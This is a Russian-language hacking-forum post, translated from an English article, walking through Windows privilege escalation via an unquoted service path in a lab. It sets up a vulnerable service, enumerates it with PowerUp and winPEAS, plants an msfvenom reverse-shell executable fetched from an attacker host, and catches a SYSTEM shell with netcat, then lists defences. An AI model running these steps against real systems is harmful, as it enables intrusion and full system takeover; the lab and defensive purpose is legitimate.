• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Повышение привилегий Windows: путь к службе без кавычек

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Microsoft Windows предлагает широкий спектр детализированных разрешений и привилегий для управления доступом к компонентам Windows, включая службы, файлы и записи реестра. Эксплуатация Unquoted Service path - это один из способов повышения привилегий.

Путь без кавычек или Путь службы без кавычек описывается как критическая уязвимость в Windows, такая уязвимость позволяет злоумышленнику повысить привилегию до NT AUTHORITY/SYSTEM для учетной записи пользователя с низкими привилегиями.

1641231595771.png


Введение

Путь к службе без кавычек

Если путь к двоичному файлу службы не заключен в кавычки и содержит пробелы, то для для установленной службы это называется - Путь без кавычек для службы. В результате локальный пользователь сможет повысить привилегию до уровня административной оболочки, поместив исполняемый файл в каталог более высокого уровня в пределах пути.

Mitre ID : T1574.009

Тактика: повышение привилегий и персистенотность

Платформы: Windows

Анализ уязвимостей

Windows API должен предполагать, где найти указанное приложение, если путь содержит пробелы и не заключен в кавычки. Если, например, служба использует путь без кавычек:

Уязвимая служба: C:\Program Files\Ignite Data\Vuln Service\file.exe

Система прочитает этот путь в следующей последовательности от 1 до 4, чтобы запустить malicous.exe через доступный для записи каталог.

C:\Program.exe

C:\Program Files\Ignite.exe

C:\Program Files\Ignite Data\Vuln.exe

C:\Program Files\Ignite Data\Vuln Service\file.exe


Требования

Целевая машина: Windows 10

Хакер: Kali Linux

Инструменты: SubinACL (https://windows-resource-kit-tools-subinacl-exe.software.informer.com/download/), PowerUP.ps1 (https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1), Winpeas (https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS) .

Условие: скомпрометируйте целевую машину с помощью доступа с низким уровнем привилегий с помощью Metasploit или Netcat и т. д.

Цель: повысить привилегии до NT Authority/SYSTEM для пользователя с низкими привилегиями, используя уязвимость пути без кавычек.

Лабораторный стенд

Чтобы настроить уязвимую среду для Unquoted Path, нам нужны учетные записи пользователей. Здесь у нас есть пользователь "ignite", который является членом группы администраторов, и "Shreya", который является членом группы пользователей.

net user ignite
net user shreya

AVvXsEg9ZHz7cD9Le7tNHh7hUFAN5MB6Phd7W9loqulfH4x-THBuUKj3YK0k6P4bsA7X6z8fnaIbi78vCLxd0_YIDPgDwLLTcBxRCKk1B9-4QNHT9MPmnSM0JVunJR5MhXQYx6oGrVpB9OKg0N2Eyt86r9tI0BcCaOo7wssru2bC9fxcZ8UyC3ZfsnVNPgpXmg=s16000


Шаги по настройке уязвимой среды

Шаг 1. Создайте новую папку и подпапку и назовите их "Ignite Data" и "Vuln Service" соответственно.

mkdir "C:\Program Files\Ignite Data\Vuln Service"

Шаг 2
. Создайте уязвимую службу с именем file.exe

sc create "vulns" binpath= "C:\Program Files\Ignite Data\Vuln Service\file.exe" start= auto

Шаг 3
: Предоставьте возможность записи BUILTIN\Users в папку Ignite Data с помощью icacls

icacls "C:\Program Files\Ignite Data" /grant "BUILTIN\Users":W

icacls
- это программа командной строки Microsoft Windows, которая может отображать и изменять разрешения для каталогов и файлов.

1641231694211.png
1
Шаг 4: Чтобы создать уязвимый сервис, нам нужно назначить некоторую токсичную привилегию с помощью SubinACL (https://windows-resource-kit-tools-subinacl-exe.software.informer.com/download/) , чтобы изменить разрешение сервисов.

Примечание:

SubInACL - это малоизвестный инструмент командной строки от Microsoft, но это один из лучших инструментов для работы с разрешениями безопасности в Windows. Этот инструмент может изменять разрешения для файлов, папок, ключей реестра, служб, принтеров, общих ресурсов кластера и различных других типов объектов.

Шаг 5: После загрузки SubinACL выполните следующую команду, чтобы назначить пользователю ignite разрешений PTO для службы "Pentest".

subinacl.exe /service vulns /grant=msedgewin10\shreya=PTO

Абузинг Unquoted Service Paths


Злоупотребление службой без кавычек - это метод, который использует небезопасные права доступа к файлам для повышения привилегий для локальных пользователей. Загрузите сценарий PowerUp.ps1 внутри Kali Linux, который вернет имя и двоичный путь для служб с путями без кавычек, которые также имеют пробел в имени.

wget https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
python –m SimpleHTTPServer 80

1641231721642.png


Получите начальный доступ к целевой машине, передайте PowerUp.ps1 и выполните команду Get-UnquotedService, которая будет использовать Get-WmiObject для запроса всех объектов win32_service и извлечения двоичного пути для каждого из них. Затем проверьте, есть ли в каких-либо двоичных путях пробел и не заключены ли они в кавычки.

nc –lvp 1245
powershell
wget http://192.168.1.3/PowerUp.ps1 -o PowerUP.ps1
powershell –ep bypass
Import-Module .\PowerUp.ps1
Get-UnquotedService


В результате мы получили путь к файлу file.exe, как показано на изображении ниже.

AVvXsEgq4iOU7D0Q3XwnwOKQHnh1KlNG_EkcHgT4ObZG68KGPwwuWorOaymuu23sC-84FqRh_Vbqw9-0M7qylMH7r8uzgCRiQJjRVwbxCs3_P5OmCf6DWQlgNQOyALXcJydPfPrFUj_xHMj044ZCoG1cfNOurrPpMJgT_GuTMXLKJ13vqRqjC1FPZLw71spnjQ=s16000
1

Сверху мы получили три подкаталога: "Program Files", "Ignite Data" и "Vuln Service", и для каждого каталога мы используем icacls для проверки разрешений.

icacls "C:\Program Files"
icacls "C:\Program Files\Ignite Data"
icacls "C:\Program Files\Ignite Data\Vuln Service"


Здесь мы обнаружили, что BUILTIN\Users имеет права на запись для "Ignite Data"

1641231783783.png


Используя автоматический скрипт WinPEASx64, мы получаем подозрительный файл и папку по пути без кавычек.

winPEASx64.exe quiet servicesinfo

1641231801774.png


Мы видим что результат тот же.
1641231810727.png


Пришло время использовать слабые сконфигурированные сервисы, чтобы получить привилегии для пользователя Shreya. Поскольку мы знаем, что имя папки без кавычек - Vuln Service, мы создадим файл с именем Vuln.exe с помощью msfvenom.

msfvenom –p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > Vuln.exe
python –m SimpleHTTPServer 80

1641231827036.png


Запустите новый экземпляр netcat в новом терминале и перенесите Vuln.exe в папку "Ignite Data" целевой машины. Поскольку Shreya является членом BUILTIN/Users, то он имеют разрешение на запись для "Ignite Data", и перезапуск службы приведет к реверс соединению.

cd c:\Program Files\Ignite Data
powershell wget http://192.168.1.3/Vuln.exe -o Vuln.exe
net start vulns

1641231842204.png


Как только служба запустится, злоумышленник получит реверс соединение в новом сеансе netcat с правами NT Authority\system

nc –lvp 8888
whoami

1641231856234.png


Даже если у пользователя есть возможность перезапустить систему, этот подход автоматически перезапустит службу Vuln.exe, которая запустит реверс соединение.

shutdown /r /t 0

1641231874240.png


Как только служба запустится, злоумышленник получит реврес соединение в новом сеансе netcat как NT Authority\system

nc –lvp 8888

1641231889327.png


Защита

Решение уязвимости
: убедитесь, что все службы, содержащие пробел в пути, заключены путь в кавычки.

Ограничить права доступа к файлам и каталогам: ограничить доступ, установив права доступа к каталогам и файлам, не относящиеся к пользователям или привилегированным учетным записям.

Предотвращение выполнения: блокируйте выполнение кода в системе с помощью управления приложениями и/или блокировку скриптов.

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/windows-privilege-escalation-unquoted-service-path/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх